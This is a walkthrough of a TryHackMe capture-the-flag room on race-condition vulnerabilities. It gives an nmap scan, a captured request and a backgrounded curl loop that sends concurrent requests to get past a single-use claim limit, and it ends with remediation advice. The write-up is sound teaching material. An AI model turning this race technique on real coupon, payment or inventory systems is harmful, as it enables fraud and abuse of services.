TryHackMe Towel on the Sunbed Walkthrough Medium Race Condition Room

🎯 Room Info

📖 What This Room Is About

This room steps away from the usual injection/access-control bugs and into race conditions — a class of vulnerability that exploits timing rather than logic. The app itself might validate everything correctly... as long as requests come in one at a time. The bug appears when multiple requests hit the server simultaneously, and the server doesn't properly lock or serialize the operation in between.

The playful theme: claiming a sunbed with a "towel" before anyone else — but the underlying mechanic is something that shows up in real systems constantly: coupon codes redeemed multiple times, double-spending in payment systems, or limited-stock items being "purchased" more times than actually exist in inventory.

The room covers:

1. 🌐 Finding an action with a limited-use constraint (claim, redeem, purchase, etc.)
2. 🔍 Understanding how the constraint is (incorrectly) enforced
3. ⚡ Firing many requests at once to win the race
4. 🚩 Exploiting the race condition to bypass the intended limit

🧠 Skills You'll Practice

• Recognizing race-condition-prone features (limited actions, single-use tokens, stock/inventory checks)
• Using tools to send concurrent/parallel HTTP requests
• Understanding TOCTOU (Time-Of-Check to Time-Of-Use) bugs
• Reading server responses to confirm a race was won

🛠️ Step-by-Step Walkthrough

1️⃣ Scan and explore the target

nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>

Browse the site and find the feature with a limit attached — in this room, it's claiming a sunbed (only supposed to be claimable once per user, or a limited number available total).

2️⃣ Understand the normal flow

Perform the action once, normally, through the browser or with curl, and observe the response:

curl -X POST http://<TARGET_IP>/claim-sunbed \
  -H "Cookie: session=<YOUR_SESSION>" \
  -d "sunbed_id=3"

Note the success response, and try it again immediately — if the app is working "correctly" (from a business logic standpoint), the second attempt should be rejected with something like "already claimed".

💡 Why this matters: most race condition bugs exist because a check-then-act pattern in the server code isn't atomic. The server checks "is this available?", then — a moment later — marks it "claimed." If two requests both pass the check before either one finishes the "mark as claimed" step, both succeed.

3️⃣ Capture the exact request

Use Burp Suite to intercept the claim request and send it to Repeater or Intruder — you'll need the exact request structure (headers, cookies, body) to replay it many times identically.

POST /claim-sunbed HTTP/1.1
Host: <TARGET_IP>
Cookie: session=<YOUR_SESSION>
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

sunbed_id=3

4️⃣ Fire the requests concurrently

The key to winning a race condition is sending many copies of the identical request at the same instant, not one after another. A few approaches:

Burp Suite Intruder (Turbo Intruder extension gives the tightest timing):

• Load the captured request
• Set the attack type to send the same request many times in a very tight burst

Command-line approach with curl + backgrounding:

for i in $(seq 1 20); do
  curl -s -X POST http://<TARGET_IP>/claim-sunbed \
    -H "Cookie: session=<YOUR_SESSION>" \
    -d "sunbed_id=3" &
done
wait

The & backgrounds each request so they fire near-simultaneously instead of sequentially, and wait blocks until they've all completed.

💡 Why this matters: a for loop without backgrounding sends requests one after another — way too slow to expose most race conditions. The & + wait pattern (or a proper concurrency tool like Turbo Intruder) is what actually creates the race.

5️⃣ Check the results

Look at the responses — if more than one request returned a "success" response for an action that should only succeed once, you've won the race and exploited the vulnerability.

grep -c "success" responses.log

6️⃣ Find the flag

Winning the race typically unlocks something — extra currency, an item that shouldn't have been obtainable twice, or an admin-only state — which then reveals the flag.

🚩 Click to reveal: flag

Redacted — swap in your own captured flag if you want to keep a private record.

📋 Every Command, In Order

nmap -sC -sV -oN nmap-initial.txt <TARGET_IP>
curl -X POST http://<TARGET_IP>/claim-sunbed -H "Cookie: session=<YOUR_SESSION>" -d "sunbed_id=3"

# The race — fire many requests concurrently:
for i in $(seq 1 20); do
  curl -s -X POST http://<TARGET_IP>/claim-sunbed \
    -H "Cookie: session=<YOUR_SESSION>" \
    -d "sunbed_id=3" &
done
wait

🎓 Key Takeaways

• Race conditions break "check-then-act" logic. Any time a server checks a condition and then updates state in two separate steps, there's a window where concurrent requests can both slip through.
• Sequential testing won't find this bug class. You have to specifically test with true concurrency — one request at a time will always look "safe."
• This isn't just a CTF trick. Race conditions have caused real financial losses — duplicate coupon redemptions, overselling limited inventory, and even double-spending in early cryptocurrency exchanges all trace back to this exact bug pattern.
• The fix is atomicity. Proper systems use database-level locking, atomic increment/decrement operations, or unique constraints so the "check" and the "act" happen as one indivisible operation.